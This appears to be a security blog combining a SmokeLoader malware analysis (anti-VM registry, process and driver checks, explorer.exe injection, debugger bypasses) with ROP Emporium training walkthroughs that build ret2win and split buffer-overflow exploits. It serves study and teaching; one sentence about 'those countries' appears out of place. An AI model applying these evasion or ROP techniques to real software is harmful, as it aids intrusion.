<figure><img src="/files/uLRO6GBlcOtZytqZ4dgF" alt=""><figcaption><p>Anti-analysis</p></figcaption></figure>

SHA256: cf4e4ff772986a87ccce3162e8e120003a21a33832173ba8c4650f2fe5735bc0&#x20;

Link: <https://bazaar.abuse.ch/sample/cf4e4ff772986a87ccce3162e8e120003a21a33832173ba8c4650f2fe5735bc0/>


# SmokeLoader Analysis


# Clearing the Smoke: A Smokeloader Analysis Part 1

Like with most samples I work with, I avoided researching the sample's family before finishing my analysis. This allows me to simulate a "black box" approach, forcing me to analyze the sample as if it were undocumented. The purpose of this post isn't to derive new IOCs from Smokeloader but to show my methodology behind working with unknown samples. This analysis started with a JS infector found on Malware Bazaar, eventually dropping a .NET loader, which executed Smokeloader in memory. The initial stages of the infection are rather boilerplate and not worth mentioning. The only interesting technique used in the initial stages was within the .NET loader, where it ran an integrity check on its sections, determining if any sections had been tampered with. If the .rsrc section were altered, the sample would exit without infecting the host. Combined with .NET Reactor, this ensures that if an analyst were to clean the sample, the section's hash would be altered, preventing the sample from executing.&#x20;

This was relatively easy to defeat. Deobfuscating the sample and opening a clean and dirty version of the sample in dnSpy side by side allowed me to debug the dirty version while referencing the clean version's control flow. After the sample determines that the loader hasn't been tampered with, it will decrypt the section and execute it into memory. A Smokeloader binary can be extracted by dumping the memory before it loads.

<figure><img src="/files/G6nYZl6kvt696oFz4XQ3" alt=""><figcaption><p>.NET Loader Integrity Check</p></figcaption></figure>

Smokeloader can be broken down into two stages, where stage one is responsible for setting up a thread injection into explorer.exe and some anti-analysis, and stage two is responsible for setting up C2 communications and more anti-analysis. In this multistage approach, the sample can conceal its behavior more effectively than a sample that only uses one stage, executing stage two after stage one has determined the host is a valid target.

### Smokeloader Interworkings

The first stage uses two main techniques to hide its logic: opaque predicates or jump chaining, and encrypted/encoded sections. While dealing with opaque predicates in a sample is annoying, it never bothered me enough during my analysis to patch it out. But, when it came to the encoded sections, it was a little more difficult to avoid the issue altogether. To work with this, I used xdbg to dump the function's arguments and manually decoded the sample in Ghidra, allowing me to make a pseudo-clean version. This approach did have some issues with sections overlapping and tampering with each other. To get around this, most of my analysis was done using xdbg, inspecting decoded functions at runtime.

The decoder function is one of the first functions called by the loader, decoding the first section, which then in turn starts to decode other sections. The function works by taking in three arguments: the size of the section in ECX, the XOR key in DL, and the section's offset from the image base in EAX. Once called, the function will calculate where the encoded section is with the offset passed, then iterate through the section XORing each byte until it hits the end of the section passed in the size argument.

<figure><img src="/files/hkn6R9oHsEkFNBSuuYpk" alt=""><figcaption><p>Decoder Function</p></figcaption></figure>

After the section has been decoded, the sample will then execute the section and re-encode the section after it's finished executing. This allows the sample to avoid saving a decoded copy of itself in memory, preventing an analyst from dumping a clean sample. Another roadblock this technique introduces is the inability to set software breakpoints. Due to how software breakpoints work, any section that has one set would be clobbered with junk code, meaning I only had four hardware breakpoints at my disposal. Some crafty conditional hardware breakpoints can be used to add to the four breakpoint limit. This is cumbersome and annoying to use, so I mostly avoided using them in my initial analysis.

When debugging the sample, I used exit breakpoints to determine where the sample exited and why. This did leave some environment checks and anti-analysis techniques unseen due to my lab environment passing the check. After understanding the sample's control flow, I went back and reanalyzed the other anti-analysis sections.&#x20;

From a high level the sample checks:

&#x20;\- The keyboard layout&#x20;

\- The Registry

&#x20;\- Running processes&#x20;

\- The filesystem

One of the first things the sample has to do is manually import the APIs it's planning on using. Not straying from the status quo, this sample implements a pretty basic API hashing manual API import process. When working with API hashing, I try to avoid reversing the hashing algorithm and instead locate where the sample stores the loaded APIs and dump them from there. This allows me to save time and focus on how the sample uses the imported APIs. One cool trick I came up with is to use an xdbg script to walk the built import table and dump them automatically. The script takes in the location of the first API and the number of APIs the sample imported and uses the function's label to dump what API was imported. The number of imports can be easily found by subtracting the start of the table from the bottom of the table, minus three bytes for 32-bit samples and minus seven bytes for 64-bit samples, then dividing by 4 or 8 depending on whether the sample is 32 or 64-bit. Luckily, I don't live in either of those countries, so I don't have to worry about those checks killing the sample.

<figure><img src="/files/o1iVaHn3UwT9Jk5QvuFd" alt=""><figcaption><p>Import Table</p></figcaption></figure>

<figure><img src="/files/ef0ViGFWAc2yArcLEQTy" alt=""><figcaption><p>Calculating Number of Imports</p></figcaption></figure>

<figure><img src="/files/ZyGhs5v3PjjYN6Cad5k1" alt=""><figcaption><p>xdbg Script</p></figcaption></figure>

<figure><img src="/files/M9LBtcnMdcSQlysANp25" alt=""><figcaption><p>Imported APIs</p></figcaption></figure>

After building its import table, the sample starts to run some anti-analysis routines, starting with checking if the input locale is Russian or Ukrainian using GetKeyboardLayoutList. If the host's locale is neither, the sample will continue execution.

<figure><img src="/files/rOSklxLna0X3Ap84B1ya" alt=""><figcaption><p>Locale Check in xdbg</p></figcaption></figure>

<figure><img src="/files/qV2uyYftEk6SveoQg6Jf" alt=""><figcaption><p>Decompiled Locale Check</p></figcaption></figure>

Another thing of note is that at the end of the Ghidra decompilation, you can see that the section decoder is called to another section to execute, continuing the control flow.&#x20;

Once the locale check has been passed, the sample moves on to checking the registry to see if it's running in a virtualized environment. It does this by checking "\REGISTRY\MACHINE\System\CurrentControlSet\Enum\IDE" and "\REGISTRY\MACHINE\System\CurrentControlSet\Enum\SCSI" for devices containing strings "qemu", "virtio", "vmware", "vbox", and "xen". This check can be bypassed by patching the return value of NtOpenKey to any value other than 0x00. This tells the sample that there was an error opening the key, and the sample, in turn, skips the check.

<figure><img src="/files/6rIoxb8se0RooTDJ0W8Z" alt=""><figcaption><p>Registry Check</p></figcaption></figure>

In my environment, the IDE key is missing, so I only had to patch the SCSI check. A hardware breakpoint can be set on this check at +0x251C to set EAX = 0x01.

<figure><img src="/files/HHgm1Ebaqyy2HgZfsqbV" alt=""><figcaption><p>Hardware Breakpoint Registry Check</p></figcaption></figure>

Once the registry check has been bypassed the sample then checks for processes related to virtualization. It does this by calling NtQuerySystemInformation to get a list of running processes, then calling another function responsible for comparing the list of running processes to a list of blacklisted processes. These processes include "qemu-ga.exe", "qga.exe", "windanr.exe", "vboxservice.exe", "vboxtray.exe", "vmtoolsd.exe", and "prl\_tools.exe". If one of the blacklisted processes is found running on the system the sample will terminate itself.

<figure><img src="/files/pmNau5FR0Ibo9q5EJKI1" alt=""><figcaption><p>Process Checker Function</p></figcaption></figure>

If the sample can iterate through the list of processes without finding a blacklisted process, it continues execution. I decided when working with the sample to patch the list size, telling the sample when it hits the breakpoint that there are no more processes to check. This forces the sample to continue executing without checking for any of the blacklisted processes. This was done by setting a hardware breakpoint at +0x2108 and setting the command to set \[edi] = 0.

<figure><img src="/files/BwzKrZYgakx3MIEzasE2" alt=""><figcaption><p>Process Check Hardware Breakpoint</p></figcaption></figure>

Now that the process check has been defeated, the sample throws one more attempt to prevent the sample from running in a virtualized environment. This last check searches the filesystem for drivers and DLLs related to virtualization. The sample, once again, calls NtQuerySystemInformation but this time to enumerate the filesystem.

<figure><img src="/files/aUnvLnzhMXwmILCFqpqi" alt=""><figcaption><p>Process Check Decompile</p></figcaption></figure>

The sample enters the loop after receiving a list of files, calling a function, which then calls the decoder function. This will then decode the section responsible for checking if the current file is in the blacklist. First, the sample will convert the current file name to lowercase and then call the checker function. The function will then iterate through a list of blacklisted files containing the entries "vmci.s", "vmusbm", "vmmous", "vm3dmp", "vmrawd", "vmmemc", "vboxgu", "vboxsf", "vboxmo", "vboxvi", "vboxdi", and "vioser". Once the checker function is finished, it calls the decoder function to re-encode itself and returns to the main loop.

<figure><img src="/files/6W6TD7C0l4gJB91sSNx0" alt=""><figcaption><p>To Lower Function</p></figcaption></figure>

<figure><img src="/files/qu9D6jTjKyFXwnHVr7ls" alt=""><figcaption><p>Compare File Names</p></figcaption></figure>

Identical to the process check, I bypassed the filesystem check by setting a hardware breakpoint at +0x2282 and patched ESI = 0. Patching ESI to zero at that offset tells the sample that there are no more files to check and to continue execution.

<figure><img src="/files/cfHyoinyntxnOVg5MUvW" alt=""><figcaption><p>File System Check Hardware Breakpoint</p></figcaption></figure>

After the sample has completed its environment and anti-analysis checks, it begins preparing a thread injection into explorer.exe. Because of explorer's importance on a Windows host, it's a great place to hide a payload, not only because of its reputation as a trusted process but also because it will cause stability issues on the system when a debugger is attached. This makes analyzing the sample in its target process somewhat difficult. During my initial analysis of Smokeloader, I'd often run into issues where I'd minimize the debugger window while explorer was paused, and the system would be in a deadlocked state, unable to bring the window to the foreground because explorer was paused. Because of these issues, I built a simple program that printed its PID and then jumped into an infinite loop. This created a space allowing for the Smokeloader sample to be retargeted toward the new sacrificial process.

<figure><img src="/files/qvVwKm9AoRg4sTRYsX19" alt=""><figcaption><p>Sacrificial  Process</p></figcaption></figure>

Setting a hardware breakpoint at +0x152B allows us to redirect the sample toward our sacrificial process by setting \[esi] equal to the PID of the new target. Now that all the anti-analysis checks have been defeated and the sample is being redirected to the new target, we're sitting at four hardware breakpoints, with no breakpoint before the sample executes the injected thread. Breaking before the sample executes the remote thread allows us to attach a debugger to the target and set a memory breakpoint on the injected memory to break on thread creation. This is where I had to get creative with making the breakpoints unset themselves when hit and activating the next one.

The last step is to pause the process before it executes the remote thread. This is done by setting a hardware breakpoint at +0x1779. Now that the next stage has been injected into the target process, the next step is to locate where the sample has allocated its payload. This can be done by RX memory that falls within 32-bit address space. Because the sample is 32-bit but targets a 64-bit process, any memory allocated from the 32-bit process has to fall within 32-bit address space. This is super useful because these two attributes are unique and easy to identify.

<figure><img src="/files/4M5emyqhibq7APqOlw1k" alt=""><figcaption><p>Sacrificial Process Loaded Memory</p></figcaption></figure>

One last interesting note before discussing the second-stage payload is how the sample uses Heavens Gate to hide some of its logic before the thread executes. When first looking at the sample, I started to get very annoyed when trying to single-step into the call, and having the sample jump to some random address. I eventually discovered what Heaven Gate does and loaded the function in Ghidra as 64-bit.

That's all for stage one, due to the length of this post stage two will be discussed in the next post.


# ROP Emporium

**0xB4DC0DE: Unraveling ROP Exploits with ROP Emporium Challenges**

At 0xB4DC0DE, we immerse ourselves in the intricate realm of Return-Oriented Programming (ROP) exploits, utilizing challenges from ROP Emporium as our compass. This segment serves as a beacon for understanding ROP techniques through comprehensive walkthroughs and detailed explanations of exploit methodologies.

**Exploring ROP Emporium Challenges:**

Dive deep into the challenges presented by ROP Emporium, a treasure trove of real-world scenarios for ROP exploitation. Our walkthroughs meticulously dissect these challenges, offering detailed, step-by-step guides and comprehensive explanations of the inner workings behind successful ROP exploits.

**Key Focus Areas:**

1. **In-Depth Walkthroughs:** We meticulously deconstruct ROP Emporium challenges, providing comprehensive breakdowns that illuminate the exploit's construction, gadget selection, and the intricacies of crafting a successful ROP chain.
2. **Understanding ROP Techniques:** Gain proficiency in ROP fundamentals. Explore ROP chain construction, gadget selection, stack pivoting, and other essential techniques critical for successful exploitation.
3. **Practical Application:** Our walkthroughs not only unravel challenge solutions but also equip readers with the knowledge and skills needed to tackle similar scenarios independently.

*ROP Emporium provides a series of challenges that are designed to teach ROP in isolation, with minimal requirement for reverse-engineering or bug hunting. Each challenge introduces a new concept with slowly increasing complexity.*&#x20;

<https://ropemporium.com/>


# Ret2Win

## X86\_64

#### Determining the buffer size with cyclic

The first step in writing a ROP string is determining the buffer size of the program we're targeting. This can be achieved by generating a pattern string to calculate the size of the buffer. In this case, I used the cyclic command located within pwndbg. Pwndbg is a GDB plugin that makes exploit development easier. When running this command, it will output a string with distinct sections that can be sent to the command again to calculate the size of the buffer.

<figure><img src="/files/viG20V9Z91lVZV1DYxkP" alt=""><figcaption><p>Output of cyclic command</p></figcaption></figure>

Running the program in pwndbg and using the string generated with pwndbg will crash the program. Once the program crashes, pwndbg will automatically show the registers at the time of the crash. This is used to help troubleshoot the ROP chain; here, we'll look at the value of the RSP register to determine the length of the buffer.

<figure><img src="/files/eX2ie5O249KTqG89PL7U" alt=""><figcaption><p>Crashed program registers</p></figcaption></figure>

Now that we have the value of RSP at the time of the crash, we can use that to calculate the size of the buffer. We do this by sending the value back to the cyclic command with the -l flag to locate the string.

<figure><img src="/files/u6OqTinVQJhMJRcUAKCb" alt=""><figcaption><p>Calculating the length of the buffer</p></figcaption></figure>

#### Locating function with r2

With the size of the buffer known, we can now control the program execution; the next step is to locate the ret2win function. This can be done using radare2 by listing the functions in the program using the "afl" command within radare2.

<figure><img src="/files/sAOQbz6iWMFGO8koPPYu" alt=""><figcaption><p>ret2win functions</p></figcaption></figure>

#### Building payload with pwntools

The final step is to combine the information gathered about the program to create a working ROP string. I chose to utilize the pwntools framework to simplify the process; pwntools features a few quality-of-life functions to make building and running ROP exploits slightly easier. One of the functions used to make building ROP strings easier is p64(), this function will take a hex address and pack it into a 64-bit LSB address. Another quality-of-life feature that pwntools has is the ability to load, run, and pass arguments to a program. The script starts by importing pwntools and defining the location of the ret2win function using p64(). Next, the ROP chain is built. First, the buffer is filled with 40 "A"s, and then the location of the ret2win function is added to force the program to call ret2win. Lastly, the program is loaded, the payload is sent, and the response is received and decoded.

<figure><img src="/files/eVFeCYMVGOPR99VglOi8" alt=""><figcaption><p>Exploit used</p></figcaption></figure>

Running this script will output the flag to the terminal.

<figure><img src="/files/ElTf5NhiXhtHh5s6SE3s" alt=""><figcaption><p>Successful exploit</p></figcaption></figure>


# Split

## X86\_64

This challenge is similar to ret2win, but instead of automatically reading the flag when called, the argument "/bin/cat flag.txt" needs to be passed to the function.

#### Determining the buffer size

Similar to the first challenge, we'll use pwndbg and cyclic to determine the size of the buffer we're targeting.

<figure><img src="/files/Vf4F5UndYyGw4NF48BAJ" alt=""><figcaption><p>Determining the size of the buffer</p></figcaption></figure>

<figure><img src="/files/nzJqsP5HYMMRJgw8YPIa" alt=""><figcaption><p>Size of the buffer</p></figcaption></figure>

#### Locating gadgets

Because this challenge requires us to pass an argument to the function, we'll have to locate a few gadgets to get this to work. We'll need to find a gadget that pops the RDI register, the location of the argument required, and the address of the function "usefulFunction."

Starting with the location of the function, you can use radare2 with the "afl" command to list all defined functions in the program.

<figure><img src="/files/a7VVU3eWzjeiRrC0cyzC" alt=""><figcaption><p>usefulFunction location</p></figcaption></figure>

Listing the contents of this function shows that when called, it is set to run "/bin/ls."

<figure><img src="/files/ZLG9sg1Lxkefp9TQTIqL" alt=""><figcaption><p>Contents of usefulFunction</p></figcaption></figure>

Because of this, we'll have to pop the register RDI to call '/bin/cat flag.txt' into that register. This gadget can be located using ropper and grep for rdi. Running this gives us the address of the gadget pop rdi; ret at 0x4007c3.

<figure><img src="/files/9qpHk7LtaEY4w67daagK" alt=""><figcaption><p>pop RDI gadget</p></figcaption></figure>

The final address we need to get is the address of the string '/bin/cat flag.txt.' By running the 'iz' command in radare2 to list all defined strings in the program, doing this gives us the address 0x601060.

<figure><img src="/files/u3Y92bTDo0vjr9pmPLHx" alt=""><figcaption><p>Location of string</p></figcaption></figure>

#### Creating the exploit

Combining all the gadgets that we've located will allow us to run '/bin/cat flag.txt' instead of '/bin/ls.' Starting by overflowing the buffer, then popping the RDI register. This allows us to move whatever data we want into that register; in this case, we load the address of the string '/bin/cat flag.txt.' After this, we call the address of the syscall located within the usefulFunction.

<figure><img src="/files/ySPq4oy8ZkcyxrJi6L7D" alt=""><figcaption><p>Exploit used</p></figcaption></figure>

Running the script will output the flag to the terminal.

<figure><img src="/files/TmAR3nR9MdveuL7AC7Ro" alt=""><figcaption><p>Contents of flag.txt</p></figcaption></figure>


